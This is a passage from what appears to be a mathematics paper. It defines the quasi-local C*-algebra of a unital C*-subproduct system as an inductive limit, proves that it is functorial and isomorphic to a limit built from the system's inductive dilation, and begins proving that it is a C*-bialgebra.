\begin{eqnarray*}\Delta_{J,K}^\times\Delta^\times_{I,J}(x)&=&({1}_{\underline{J}_K}\otimes \Delta_{J,J_K^{\times}}\otimes {1}_{\overline{J}_K})\Delta^\times_{I,J}(x)
={1}_{\underline{J}_K}\otimes \Delta_{J,J_K^{\times}}^\times\Delta^\times_{I,J}(x)\otimes {1}_{\overline{J}_K}
\\&=&1_{\underline{J}_K}\otimes \Delta^\times_{I,J_K^{\times}}(x)\otimes {1}_{\overline{J}_K}
=1_{\underline{I}_K}\otimes \Delta_{I,I_K^{\times}}(x)\otimes {1}_{\overline{I}_K}\\&=&\Delta^\times_{I,K}x,
\end{eqnarray*}
for all $x\in\mathcal {A}_I$. The proposition is proved.
\end{proof}
\begin{definition} \label{deff}The $C^*$-inductive limit
\begin{eqnarray*}C^*(\mathscr {A})=\limind\, \Bigl\{(\mathcal {A}_I,\Delta^\times_{I,J})\,|\,I,\,J\in\mathscr {P},\; I\subseteq J\Bigr\}\end{eqnarray*}
of the inductive system $\{(\mathcal {A}_I,\Delta^\times_{I,J})\,|\, ,I,\,J\in\mathscr {P},\; I\subseteq J\}$ will be called the quasi-local $C^*$-algebra $C^*(\mathscr {A})$ of the unital $C^*$-subproduct system $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$.
\end{definition}
Let $\{\Delta^\times_I\}_{I\in\mathscr {P}}$ be the family of connecting *-monomorphisms $\Delta _I^\times:\mathcal {A}_I\to C^*(\mathscr {A})$ associated with the inductive limit construction. We will occasionally use the notation $\mathcal {A}_I^\times= \Delta_I^\times\left( \mathcal {A}_I\right)$. The $C^*$-algebras $\mathcal {A}_I^\times$ will be referred to as the local $C^*$-algebras of the unital $C^*$-subproduct system $\mathscr {A}$. If $I$ has only two elements, say $I=\{s,t\}$ where $s<t$, then we shall simply write $\Delta_{s,t}^\times$ instead of $\Delta_{\{s,t\}}^\times$, and $\mathcal {A}_{s,t}^\times$ instead of $\mathcal {A}_{\{s,t\}}^\times$.
\begin{lemma}\label{hoko} Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a unital $C^*$-subproduct system. Then \begin{eqnarray}\label{Dec12}\Delta_I^\times(x)\Delta_J^\times(y)=\Delta_J^\times(y)\Delta_I^\times(x)=\Delta^\times_{I\cup J}(x\otimes y),\end{eqnarray} for all $I\in\mathscr {P}_{r,s}$, $J\in\mathscr {P}_{s,t}$, $x\in\mathcal {A}_I$ and $y\in\mathcal {A}_J$. In particular, the local $C^*$-algebras $\mathcal {A}_I^\times$ and $\mathcal {A}_J^\times$ commute whenever $I\in\mathscr {P}_{r,s}$, $J\in\mathscr {P}_{t,u}$ with $0<r<s\leq t<u$.
\end{lemma}
\begin{proof}
Because $\Delta_I^\times(x)=\Delta_{I\cup J}^\times(x\otimes 1_{\mathcal {A}_J})$ and $\Delta_J^\times(y)=
\Delta_{I\cup J}^\times(1_{\mathcal {A}_I}\otimes y)$, the conclusion follows.
\end{proof}
The following proposition shows that any monomorphism of unital $C^*$-subproduct systems induces a *-monomorphism between their quasi-local $C^*$-algebras.
\begin{proposition}\label{categorical theorem}Suppose that $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ and $\mathscr {B}=\left(\{\mathcal {B}_{s,t}\}_{0<s<t}, \{\Gamma_{r,s,t}\}_{0<r<s<t}\right)$ are unital $C^*$-subproduct systems, and let $\{\theta_{s,t}\}_{0<s<t}$ be a unital monomorphism from $\mathscr {A}$ to $\mathscr {B}$. Then there exists a unique *-monomorphism of $C^*$-algebras $\theta:C^*(\mathscr {A})\to C^*(\mathscr {B})$ such that \begin{eqnarray}\label{Nov12a}\theta \Delta_{s,t}^\times=\Gamma_{s,t}^\times \theta_{s,t},\end{eqnarray} for all $0<s<t$.
\end{proposition}
\begin{proof}
For any partition $I\in \mathscr {P}$ of the form $I=\{\iota_0<\iota_1<\ldots <\iota_{m+1}\}$, we consider the tensor product $\theta_I=\theta_{\iota_0,\iota_1}\otimes \theta_{\iota_1,\iota_2}\otimes \cdots \otimes\theta_{\iota_m,\iota_{m+1}}$, from $\mathcal {A}_I$ to $\mathcal {B}_I.$ We show that the resulting family of *-monomorphisms $\{\theta_I\}_{I\in\mathscr {P}}$ satisfies the compatibility condition
\begin{eqnarray}\label{franc}\theta_J\Delta^\times_{I,J}=\Gamma^\times_{I,J}\theta_I,\end{eqnarray} for all $I,\, J\in\mathscr {P}$, $I\subseteq J$.
First of all, we will show that (\ref{franc}) is satisfied when the partitions $I$ and $J$ have the same endpoints. Let then $I,\,J\in\mathscr {P}_{s,t}$, $I\subseteq J$, where $I=\{s=\iota_0<\ldots <\iota_{m+1}=t\}$ and $J=\{s=j_0<j_1<\ldots <j_{n+1}=t\}$. Because $\theta_J\Delta^\times_{I,J}=\big(\theta_{I_0}\Delta_{\{\iota_0,\iota_1\},I_0}\big)\otimes \cdots \otimes \big(\theta_{I_m} \Delta_{\{\iota_m,\iota_{m+1}\},I_m}\big)$, where $J= I_0\cup\cdots\cup I_m$ is the decomposition of $J$ with respect to $I$, we can assume, without loss of generality, that $I$ is the trivial partition $\{s,t\}$.
Noticing that \begin{eqnarray*}&&\theta_J\left(\Delta_{j_0,j_1,j_2}\otimes \operatorname {id}_{\mathcal {A}_{j_2, j_3}}\otimes\cdots \otimes \operatorname {id}_{\mathcal {A}_{j_n, j_{n+1}}}\right)=(\theta_{j_0,j_1}\otimes \theta_{j_1,j_2})\Delta_{j_0,j_1,j_2}\otimes \theta_{J\setminus \{j_0,j_1\}}\\&=&\Gamma_{j_0,j_1,j_2} \theta_{j_0,j_2}\otimes \theta_{J\setminus \{j_0,j_1\}}=
\left(\Gamma_{j_0,j_1,j_2}\otimes \operatorname {id}_{\mathcal {B}_{j_2, j_3}}\otimes\cdots \otimes \operatorname {id}_{\mathcal {B}_{j_n, j_{n+1}}}\right)\theta_{J\setminus\{j_1\}},
\end{eqnarray*}
and iterating this calculation, we obtain that
\begin{eqnarray*}
&&\theta_J\Delta_{\{s,t\},J}^\times=\theta_J\left(\Delta_{j_0,j_1,j_2}\otimes \operatorname {id}\big)\cdots\big(\Delta_{j_0,j_{n-1},j_n}\otimes \operatorname {id}\right) \Delta_{j_0,j_n,j_{n+1}}
\\&=&\left(\Gamma_{j_0,j_1,j_2}\otimes \operatorname {id}\right)\theta_{J\setminus\{j_1\}}\left(\Delta_{j_0,j_2,j_3}\otimes \operatorname {id}\big)\cdots\big(\Delta_{j_0,j_{n-1},j_n}\otimes \operatorname {id}\right) \Delta_{j_0,j_n,j_{n+1}}
\\
&=&
\left(\Gamma_{j_0,j_1,j_2}\otimes \operatorname {id}\right)\left(\Gamma_{j_0,j_2,j_3}\otimes \operatorname {id}\right)\theta_{J\setminus \{j_1,j_2\}})
\left(\Delta_{j_0,j_3,j_4}\otimes \operatorname {id}\right)\cdots
\left(\Delta_{j_0,j_{n-1},j_n}\otimes \operatorname {id}\right) \Delta_{j_0,j_n,j_{n+1}}
\\&=&\cdots\cdots\cdots
\\&=&\left(\Gamma_{j_0,j_1,j_2}\otimes \operatorname {id}\right)\left(\Gamma_{j_0,j_2,j_3}\otimes \operatorname {id}\right)\cdots \left(\Gamma_{\iota_0,j_{n-1},j_n}\otimes \operatorname {id}\right)\Gamma_{j_0,j_n,j_{n+1}}\theta_{\{j_0,j_{n+1}\}}
\\&=&\Gamma_{\{s,t\},J}^\times\theta_{\{s,t\}},
\end{eqnarray*}
as required.
In the general case of two arbitrary partitions $I,\, J\in\mathscr {P}$, $I\subseteq J$, consider the decomposition $J=\underline{I}\cup I^{\times}\cup \overline{I}$ of $J$ with respect to $I$. Then for any $x\in\mathcal {A}_I$, we have that
\begin{eqnarray*}\theta_J \Delta^\times_{I,J}(x)={1}_{\mathcal {B}_{\underline{I}}}\otimes \theta_{I^{\times}}\Delta_{I,I^{\times}}(x)\otimes {1}_{\mathcal {B}_{\overline{I}}}={1}_{\mathcal {B}_{\underline{I}}}\otimes \Gamma_{I,I^{\times}}\theta_{I}(x)\otimes {1}_{\mathcal {B}_{\overline{I}}}
=\Gamma^\times_{I,J} \theta_I(x),\end{eqnarray*}
thus showing (\ref{franc}). Using (\ref{franc}) and the universal property of the inductive limit, we deduce that there is a unique *-monomorphism $\theta:C^*(\mathscr {A})\to C^*(\mathscr {B})$ that satisfies the compatibility condition \begin{eqnarray}\label{Nov12}
\theta \Delta_I^\times=\Gamma_I^\times \theta_I,\end{eqnarray} for all $I\in\mathscr {P}$. To show that $\theta$ is the only *-monomorphism satisfying (\ref{franc}), we can argue exactly as in the proof of the uniqueness part of Proposition \ref{categorical theorem0}, this time with the help of Lemma \ref{hoko}.
\end{proof}
The following two corollaries can be immediately deduced from Proposition \ref{categorical theorem}. We record them here for future reference.
\begin{corollary}\label{Nov12c}
If $\mathscr {A}$ and $\mathscr {B}$ are isomorphic unital $C^*$-subproduct systems, then their quasi-local $C^*$-algebras $C^*(\mathscr {A})$ and $C^*(\mathscr {B})$ are *-isomorphic.
\end{corollary}
\begin{corollary}\label{cucuss} Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a unital $C^{\star}$-subproduct system and $\mathscr {A}^\sharp=\left(\{\mathcal {A}_{s,t}^\sharp\}_{0<s<t},\,\{\Delta_{r,s,t}^\sharp\}_{0<r<s<t}\right)$ be its inductive dilation. There exists a unique *-monomorphism $\Upsilon:C^*(\mathscr {A})\to C^*(\mathscr {A}^\sharp)$ such that $$\Upsilon \Delta_{s,t}^\times=\big(\Delta_{s,t}^\sharp\big)^\times \Delta_{s,t}^\sharp,$$ for all $0<s<t$.
\end{corollary}
\section{The quasi-local $C^*$-algebra as a $C^*$-bialgebra}\label{sec5+.1}
We start this section by showing that the constituent $C^*$-algebras $\mathcal {A}_{s,t}^\sharp$ of the inductive dilation $\mathscr {A}^\sharp=\left(\{\mathcal {A}_{s,t}^\sharp\}_{0<s<t},\,\{\Delta_{r,s,t}^\sharp\}_{0<r<s<t}\right)$ of a unital $C^*$-subproduct system $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ can be assembled into an inductive system over the partially ordered set $(I_{(0,\infty)},\subseteq)$ of all open intervals of positive real numbers, ordered by inclusion. We note that the same procedure can be applied to any $C^*$-product system, and not only to inductive dilations.
\begin{proposition}\label{Nov06}
Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a unital $C^{\star}$-subproduct system with inductive dilation $\mathscr {A}^\sharp=\left(\{\mathcal {A}_{s,t}^\sharp\}_{0<s<t},\,\{\Delta_{r,s,t}^\sharp\}_{0<r<s<t}\right)$. For any real numbers $0<u\leq s<t\leq v$, consider the *-monomorphism $\Delta^\sharp _{(s,t),(u,v)}: \mathcal {A}_{s,t}^\sharp\to \mathcal {A}_{u,v}^\sharp$, acting as \begin{eqnarray*}\Delta^\sharp _{(s,t),(u,v)}(x)=\left\{\begin{array}{ll}
x,&\mbox{if}\;u=s<t= v\\
(\Delta_{s,t,v}^\sharp)^{-1}(x \otimes {1}_{\mathcal {A}^\sharp_{t,v}} ),&\mbox{if}\;\;u=s<t< v\\
(\Delta_{u,s,t}^\sharp)^{-1}({1}_{\mathcal {A}^\sharp_{u,s}}\otimes x ),&\mbox{if}\;\;u<s<t=v\\
(\Delta^\sharp_{u,s,v})^{-1}\left(\operatorname {id}_{\mathcal {A}_{u,s}^\sharp}\otimes \Delta^\sharp_{s,t,v}\right)^{-1}\left({1}_{\mathcal {A}^\sharp_{u,s}}\otimes x \otimes {1}_{\mathcal {A}^\sharp_{t,v}} \right),&\mbox{if}\;\;u< s<t< v \end{array}\right. \end{eqnarray*}
for every $x\in \mathcal {A}_{s,t}^\sharp$. Then the system $
\left\{ \left(\mathcal {A}_{s,t}^\sharp, \Delta^\sharp _{(s,t),(u,v)}\right)\,|\, (s,t)\in I_{(0,\infty)}\right\}$
is an inductive system of $C^*$-algebras over the partially ordered set $(I_{(0,\infty)},\subseteq)$.
\end{proposition}
\begin{proof}
We will show that the family of *-monorphisms defined above satisfies the compatibility condition \begin{eqnarray*}\Delta^\sharp _{(s,t),(u,v)} \Delta^\sharp _{(q,r),(s,t)}= \Delta^\sharp _{(q,r),(u,v)},\end{eqnarray*} for any strict inclusion of open intervals $(q,r)\subset (s,t)\subset (u,v)$. First of all, we notice that
\begin{eqnarray*}&&\Delta^\sharp _{(s,t),(u,v)} \Delta^\sharp _{(q,r),(s,t)}(x)=(\Delta^\sharp_{u,s,v})^{-1}\left(\operatorname {id}_{\mathcal {A}_{u,s}^\sharp}\otimes \Delta^\sharp_{s,t,v}\right)^{-1}
\left(\operatorname {id}_{\mathcal {A}^\sharp_{u,s}}\otimes \Delta^\sharp_{s,q,t} \otimes \operatorname {id}_{\mathcal {A}^\sharp_{t,v}} \right)^{-1}\\&&
\left(\operatorname {id}_{\mathcal {A}^\sharp_{u,s}}\otimes \operatorname {id}_{\mathcal {A}_{s,q}^\sharp}\otimes \Delta^\sharp_{q,r,t} \otimes \operatorname {id}_{\mathcal {A}^\sharp_{t,v}} \right)^{-1}
\left(\Delta^\sharp_{u,s,q}\otimes \operatorname {id}_{\mathcal {A}^\sharp_{q,r}} \otimes \Delta^\sharp_{r,t,v} \right)
\left({1}_{\mathcal {A}^\sharp_{u,q}}\otimes x \otimes {1}_{\mathcal {A}^\sharp_{r,v}} \right),
\end{eqnarray*}
for all $x\in \mathcal {A}_{q,r}^\sharp.$ In addition, using the co-associativity laws $\left(\Delta^\sharp_{s,q,t} \otimes \operatorname {id}_{\mathcal {A}^\sharp_{t,v}}\right)\Delta^\sharp_{s,t,v}= \left( \operatorname {id}_{\mathcal {A}^\sharp_{s,q}} \otimes\Delta^\sharp_{q,t,v} \right)\Delta^\sharp_{s,q,v}$ and $ \left(\Delta^\sharp_{q,r,t}\otimes \operatorname {id}_{\mathcal {A}^\sharp_{t,v}}\right)\Delta^\sharp_{q,t,v}= \left(\operatorname {id}_{\mathcal {A}^\sharp_{q,r}}\otimes
\Delta^\sharp_{r,t,v} \right)\Delta^\sharp_{q,r,v} $, and then canceling out a few factors, we turn the above identity into
\begin{eqnarray*}&&\Delta^\sharp _{(s,t),(u,v)} \Delta^\sharp _{(q,r),(s,t)}(x)=(\Delta^\sharp_{u,s,v})^{-1}
\left(\operatorname {id}_{\mathcal {A}^\sharp_{u,s}} \otimes \Delta^\sharp_{s,q,v} \right)^{-1}
\left(\operatorname {id}_{\mathcal {A}^\sharp_{u,s}}\otimes \operatorname {id}_{\mathcal {A}_{s,q}^\sharp}\otimes \Delta^\sharp_{q,r,v} \right)^{-1}
\\&&
\left(\Delta^\sharp_{u,s,q}\otimes \operatorname {id}_{\mathcal {A}^\sharp_{q,r}} \otimes \operatorname {id}_{\mathcal {A}^\sharp_{r,v}} \right)
\left({1}_{\mathcal {A}^\sharp_{u,q}}\otimes x \otimes {1}_{\mathcal {A}^\sharp_{r,v}} \right).
\end{eqnarray*}
Finally, writing the first term of the above expression as $$(\Delta^\sharp_{u,s,v})^{-1}=(\Delta^\sharp_{u,q,v})^{-1}\left(\Delta^\sharp_{u,s,q}\otimes \operatorname {id}_{\mathcal {A}_{q,v}^\sharp}
\right)^{-1}\left(\operatorname {id}_{\mathcal {A}_{u,s}^\sharp}\otimes \Delta^\sharp_{s,q,v}\right),$$ we obtain
\begin{eqnarray*}&&\Delta^\sharp _{(s,t),(u,v)} \Delta^\sharp _{(q,r),(s,t)}(x)
=(\Delta^\sharp_{u,q,v})^{-1}\left(\Delta^\sharp_{u,s,q}\otimes \operatorname {id}_{\mathcal {A}_{q,v}^\sharp}
\right)^{-1}
\left(\operatorname {id}_{\mathcal {A}^\sharp_{u,s}}\otimes \operatorname {id}_{\mathcal {A}_{s,q}^\sharp}\otimes \Delta^\sharp_{q,r,v} \right)^{-1}
\\&&
\left(\Delta^\sharp_{u,s,q}\otimes \operatorname {id}_{\mathcal {A}^\sharp_{q,r}} \otimes \operatorname {id}_{\mathcal {A}^\sharp_{r,v}} \right)
\left({1}_{\mathcal {A}^\sharp_{u,q}}\otimes x \otimes {1}_{\mathcal {A}^\sharp_{r,v}} \right)\\
&=&(\Delta^\sharp_{u,q,v})^{-1}\left(\operatorname {id}_{\mathcal {A}^\sharp_{u,q}}\otimes \Delta^\sharp_{q,r,v} \right)^{-1}
\left({1}_{\mathcal {A}^\sharp_{u,q}}\otimes x \otimes {1}_{\mathcal {A}^\sharp_{r,v}} \right)=\Delta_{(q,r),(u,v)}^\sharp (x),
\end{eqnarray*}
as needed. The remaining cases, i.e., those of non-strict inclusion of open intervals, can also be easily shown.
\end{proof}
\begin{definition}\label{Oct11}
Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a unital $C^*$-subproduct system. We define the unital $C^*$-algebra $\mathcal {A}^{\diamond}$ as the $C^*$-inductive limit of the inductive system constructed above, i.e.,
$$
\mathcal {A}^{\diamond}=\limind
\left\{ \left(\mathcal {A}_{s,t}^\sharp, \Delta^\sharp _{(s,t),(u,v)}\right)\,|\, (s,t)\in I_{(0,\infty)}\right\},$$
with connecting *-monomorphisms $
\Delta^{\diamond}_{s,t}:\mathcal {A}_{s,t}^\sharp\to \mathcal {A}^{\diamond}$, for all $0<s<t$.
\end{definition}
The next corollary is a direct consequence of Proposition \ref{categorical theorem0} and the universal property of the inductive limit.
\begin{corollary}Suppose that $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ and $\mathscr {B}=\left(\{\mathcal {B}_{s,t}\}_{0<s<t}, \{\Gamma_{r,s,t}\}_{0<r<s<t}\right)$ are unital $C^*$-product subsystems, and let $\mathscr {A}^\sharp=\left(\{\mathcal {A}_{s,t}^\sharp\}_{0<s<t},\,\{\Delta_{r,s,t}^\sharp\}_{0<r<s<t}\right)$, respectively $\mathscr {B}^\sharp=\left(\{\mathcal {B}_{s,t}^\sharp\}_{0<s<t},\,\{\Gamma_{r,s,t}^\sharp\}_{0<r<s<t}\right)$, be their inductive dilations. If $\{\theta_{s,t}\}_{0<s<t}$ is a unital monomorphism, respectively isomorphism, of $C^*$-subproduct systems from $\mathscr {A}$ to $\mathscr {B}$, then there exists a unique unital *-monomorphism $\theta^{\diamond}$, respectively *-isomorphism, of $C^*$-algebras from $\mathcal {A}^{\diamond}$ to $\mathcal {B}^{\diamond}$ that makes the diagram
\begin{eqnarray*}
\xymatrix{
\mathcal {B}_{s,t} \ar[r]^-{\Gamma_{s,t}^\sharp} & \mathcal {B}^\sharp_{s,t} \ar[r]^-{\Gamma_{s,t}^\diamond} & \mathcal {B}^\diamond \\
\mathcal {A}_{s,t} \ar[r]_-{\Delta_{s,t}^\sharp}\ar[u]^-{\theta_{s,t}} & \mathcal {A}_{s,t}^\sharp\ar[u]_-{\theta^\sharp_{s,t}} \ar[r]^-{\Delta_{s,t}^\diamond} &\mathcal {A}^\diamond \ar[u]_-{\theta^\diamond}}
\end{eqnarray*}
commutative, for all $0<s<t$.
\end{corollary}
\begin{proof}
It is enough to show that $\theta^\sharp_{u,v}{\Delta_{(s,t), (u,v)}^\sharp}=\Gamma_{(s,t), (u,v)}^\sharp\theta^\sharp_{s,t}$, for all real numbers $0<u< s<t< v$.
For this, let $x\in \mathcal {A}_{s,t}^\sharp$. We then have \begin{eqnarray*}
&& \theta^\sharp_{u,v}{\Delta_{(s,t), (u,v)}^\sharp}(x)= \theta^\sharp_{u,v}(\Delta^\sharp_{u,s,v})^{-1}\left(\operatorname {id}_{\mathcal {A}_{u,s}^\sharp}\otimes \Delta^\sharp_{s,t,v}\right)^{-1}({1}_{\mathcal {A}^\sharp_{u,s}}\otimes x \otimes {1}_{\mathcal {A}^\sharp_{t,v}} )\\
&=&(\Gamma^\sharp_{u,s,v})^{-1}( \theta^\sharp_{u,s}\otimes \theta^\sharp_{s,v}(\Delta^\sharp_{s,t,v})^{-1})({1}_{\mathcal {A}^\sharp_{u,s}}\otimes x \otimes {1}_{\mathcal {A}^\sharp_{t,v}} )\\
&=&(\Gamma^\sharp_{u,s,v})^{-1}(\operatorname {id}_{\mathcal {B}_{u,s}^\sharp}\otimes \Gamma^\sharp_{s,t,v})^{-1}( \theta^\sharp_{u,s}\otimes \theta^\sharp_{s,t}\otimes \theta^\sharp_{t,v})({1}_{\mathcal {A}^\sharp_{u,s}}\otimes x \otimes {1}_{\mathcal {A}^\sharp_{t,v}})\\
&=&\Gamma_{(s,t), (u,v)}^\sharp\theta^\sharp_{s,t}(x),
\end{eqnarray*}
as needed.
\end{proof}
The following proposition gives a useful compatibility relation between the connecting *-monomorphism introduced so far: $\Delta^\sharp_I$'s of Definition \ref{Oct5}, $\Delta^\sharp_{(s,t),(u,v)}$'s of Proposition \ref{Nov06}, and $\Delta_{I,J}^\times$'s of Proposition \ref{lemma inductive limit}.
\begin{proposition}\label{March23} Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a unital $C^*$-subproduct systems. For any two partitions $I\in\mathscr {P}_{s,t}$, $J\in\mathscr {P}_{u,v}$, $I\subseteq J$, where $0<u\leq s<t\leq v$, the diagram
\begin{eqnarray*}
\xymatrix{
\mathcal {A}_J \ar[r]^-{\Delta_J^\sharp} & \mathcal {A}^\sharp_{u,v} \\
\mathcal {A}_I \ar[r]_-{\Delta^\sharp_I}\ar[u]^-{\Delta^\times_{I,J}} & \mathcal {A}^\sharp_{s,t}\ar[u]_-{\Delta^\sharp_{(s,t),(u,v)}.} }
\end{eqnarray*}
commutes, that is, $\Delta_J^\sharp\Delta_{I,J}^\times=\Delta^\sharp_{(s,t),(u,v)}\Delta^\sharp_I.$
\end{proposition}
\begin{proof}
We assume that $0<u< s<t< v$; the remaining cases can be treated similarly. Let $J=\underline{I}\cup I^{\times}\cup \overline{I}$ be the decomposition of $J$ with respect to $I$. Using (\ref{compas}) twice, for any $x\in \mathcal {A}_I$ we have that\begin{eqnarray*}\Delta_J^\sharp\Delta_{I,J}^\times (x)&=&\Delta_J^\sharp({1}_{\underline{I}}\otimes \Delta_{I,I^{\times}}(x) \otimes {1}_{\overline{I}})
=(\Delta^\sharp_{u,s,v})^{-1}\left(\Delta_{\underline{I}}^\sharp \otimes \Delta_{I^{\times}\cup \overline{I}}^\sharp\right)\left({1}_{\underline{I}}\otimes \Delta_{I,I^{\times}}(x) \otimes {1}_{\overline{I}} \right)
\\&=&(\Delta^\sharp_{u,s,v})^{-1}\left(\Delta_{\underline{I}}^\sharp \otimes (\Delta^\sharp_{s,t,v})^{-1}\left(\Delta_{I^{\comp}}^\sharp\otimes \Delta_{ \overline{I}}^\sharp\right)\right)\left({1}_{\underline{I}}\otimes \Delta_{I,I^{\comp}}x \otimes {1}_{\overline{I}} \right)
\\&=&(\Delta^\sharp_{u,s,v})^{-1}\left(\operatorname {id}_{\mathcal {A}_{u,s}^\sharp}\otimes (\Delta^\sharp_{s,t,v})^{-1} \right)\left(\Delta_{\underline{I}}^\sharp \otimes \Delta_{I^{\times}}^\sharp\otimes \Delta_{ \overline{I}}^\sharp\right)\left({1}_{\underline{I}}\otimes \Delta_{I,I^{\times}}(x) \otimes {1}_{\overline{I}} \right)
\\
&=&(\Delta^\sharp_{u,s,v})^{-1}\left(\operatorname {id}_{\mathcal {A}_{u,s}^\sharp}\otimes \Delta^\sharp_{s,t,v}\right)^{-1}\left({1}_{\mathcal {A}^\sharp_{u,s}}\otimes \Delta_{I}^\sharp (x) \otimes {1}_{\mathcal {A}^\sharp_{t,v}} \right)\\&=&\Delta^\sharp_{(s,t),(u,v)}\Delta^\sharp_I(x),
\end{eqnarray*}
which proves our claim.\end{proof}
\begin{corollary}\label{Nov26}Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a unital $C^*$-subproduct systems. For any two partitions $I\in\mathscr {P}_{s,t}$, $J\in\mathscr {P}_{u,v}$, $I\subseteq J$, where $0<u\leq s<t\leq v$, the diagram
\begin{eqnarray*}\label{pisubF}
\xymatrix{
\mathcal {A}_J \ar[r]^-{\Delta_J^\sharp} & \mathcal {A}^\sharp_{u,v} \ar[rd]^-{\Delta_{u,v}^{\diamond}}&\\
&&\mathcal {A}^{\diamond}\\
\mathcal {A}_I \ar[r]_-{\Delta^\sharp_I}\ar[uu]^-{\Delta^{\times}_{I,J}} & \mathcal {A}^\sharp_{s,t}\ar[ru]_-{\Delta^{\diamond}_{s,t}}& }
\end{eqnarray*}
commutes, that is, $\Delta_{s,t}^{\diamond}\Delta_I^\sharp=\Delta^{\diamond}_{u,v}\Delta^\sharp_J\Delta_{I,J}^\times$.
\end{corollary}
\begin{proof}
We have $\Delta_{s,t}^{\diamond}\Delta_I^\sharp=\Delta_{u,v}^{\diamond}\Delta^\sharp_{(s,t),(u,v)}\Delta_I^\sharp=\Delta_{u,v}^{\diamond}\Delta^\sharp_J\Delta_{I,J}^\times.$
\end{proof}
Using the above results, we can now show that the $C^*$-algebras $C^*(\mathscr {A})$ and $\mathcal {A}^{\diamond}$ are isomorphic.
\begin{theorem}\label{March24}
Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a unital $C^*$-
subproduct system. There exists a *-isomorphism $\delta: C^*(\mathcal {A})\to \mathcal {A}^{\diamond}$, uniquely determined by the condition \begin{eqnarray}\label{Nov26a}\delta\Delta_I^\times=\Delta^{\diamond}_{s,t}\Delta^\sharp_I,\end{eqnarray} for all $I\in \mathscr {P}_{s,t}$ and $0<s<t$.
\end{theorem}
\begin{proof} We deduce from Corollary \ref{Nov26} and the universal property of the inductive limit that there exists a unique *-monomorphism $\delta: C^*(\mathcal {A})\to \mathcal {A}^{\diamond}$ that satisfies (\ref{Nov26a}).
To show that $\delta$ is an isomorphism, it is enough to show that the set $\bigcup_{ (s,t)\in I_{(0,\infty)}}\bigcup_{I\in\mathscr {P}_{s,t}}\Delta^{\diamond}_{s,t}\Delta^\sharp_I\left(\mathcal {A}_I \right)$ is everywhere dense in $\mathcal {A}^{\diamond}$.
For this purpose, let $x\in\mathcal {A}^{\diamond}$ and $\varepsilon>0$ be chosen arbitrarily. Because $\bigcup_{(s,t)\in I_{(0,\infty)}}\Delta^{\diamond}_{s,t}\left(\mathcal {A}_{s,t}^\sharp \right)$ is everywhere dense in $\mathcal {A}^{\diamond}$, we have $\|x-\Delta^{\diamond}_{s_0,t_0}(y)\|<\frac{\varepsilon}{2}$, for some open interval $(s_0,t_0)\in I_{(0,\infty)}$ and some element $y\in \mathcal {A}_{s_0,t_0}^\sharp$. Similarly, because $\bigcup_{I\in\mathscr {P}_{s_0,t_0}}\Delta^\sharp_I\left(\mathcal {A}_I \right)$ is everywhere dense in $\mathcal {A}^{\sharp}_{s_0,t_0}$, one can find a partition $I_0\in \mathscr {P}_{s_0,t_0}$ and an element $z\in \mathcal {A}_{I_0}$ such that $\|\Delta^{\diamond}_{s_0,t_0}(y)-\Delta^{\diamond}_{s_0,t_0}\Delta^\sharp_{I_0}(z)\|< \frac{\varepsilon}{2}$. Consequently, we obtain that $\|x-\Delta^{\diamond}_{s_0,t_0}\Delta^\sharp_{I_0}(z)\|< \varepsilon$, so $\bigcup_{ (s,t)\in I_{(0,\infty)}}\bigcup_{I\in\mathscr {P}_{s,t}}\Delta^{\diamond}_{s,t}\Delta^\sharp_I\left(\mathcal {A}_I \right)$ is everywhere dense in $\mathcal {A}^{\diamond}$.
\end{proof}
We are now ready to prove the main result of this section.
\begin{theorem} \label{April2i}Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a unital $C^*$- subproduct system. Then there exists a unital *-monomorphism $\Delta:C^*(\mathscr {A})\to C^*(\mathscr {A})\otimes C^*(\mathscr {A})$ so that $(C^*(\mathscr {A}), \Delta)$ is a $C^*$-bialgebra.
\end{theorem}
\begin{proof}
First, we construct a unital *-monomorphism $\iota:\mathcal {A}^{\diamond}\to C^*(\mathscr {A})\otimes C^*(\mathscr {A})$ that is comptible with the inductive limit structures of the $C^*$-algebras $\mathcal {A}^{\diamond}$ and $C^*(\mathscr {A})\otimes C^*(\mathscr {A})$. For this purpose, we identify the $C^*$-algebra $ C^*(\mathscr {A})\otimes C^*(\mathscr {A})$ with the inductive limit of the $C^*$-inductive system $\{(\mathcal {A}_I\otimes \mathcal {A}_J,\Delta^\times_{I, I'}\otimes \Delta^\times_{J, J'})\,|\, (I, J) \in \mathscr {P}\times \mathscr {P}\}$ over the cartesian product $\mathscr {P}\times \mathscr {P}$, endowed with the product order, that is
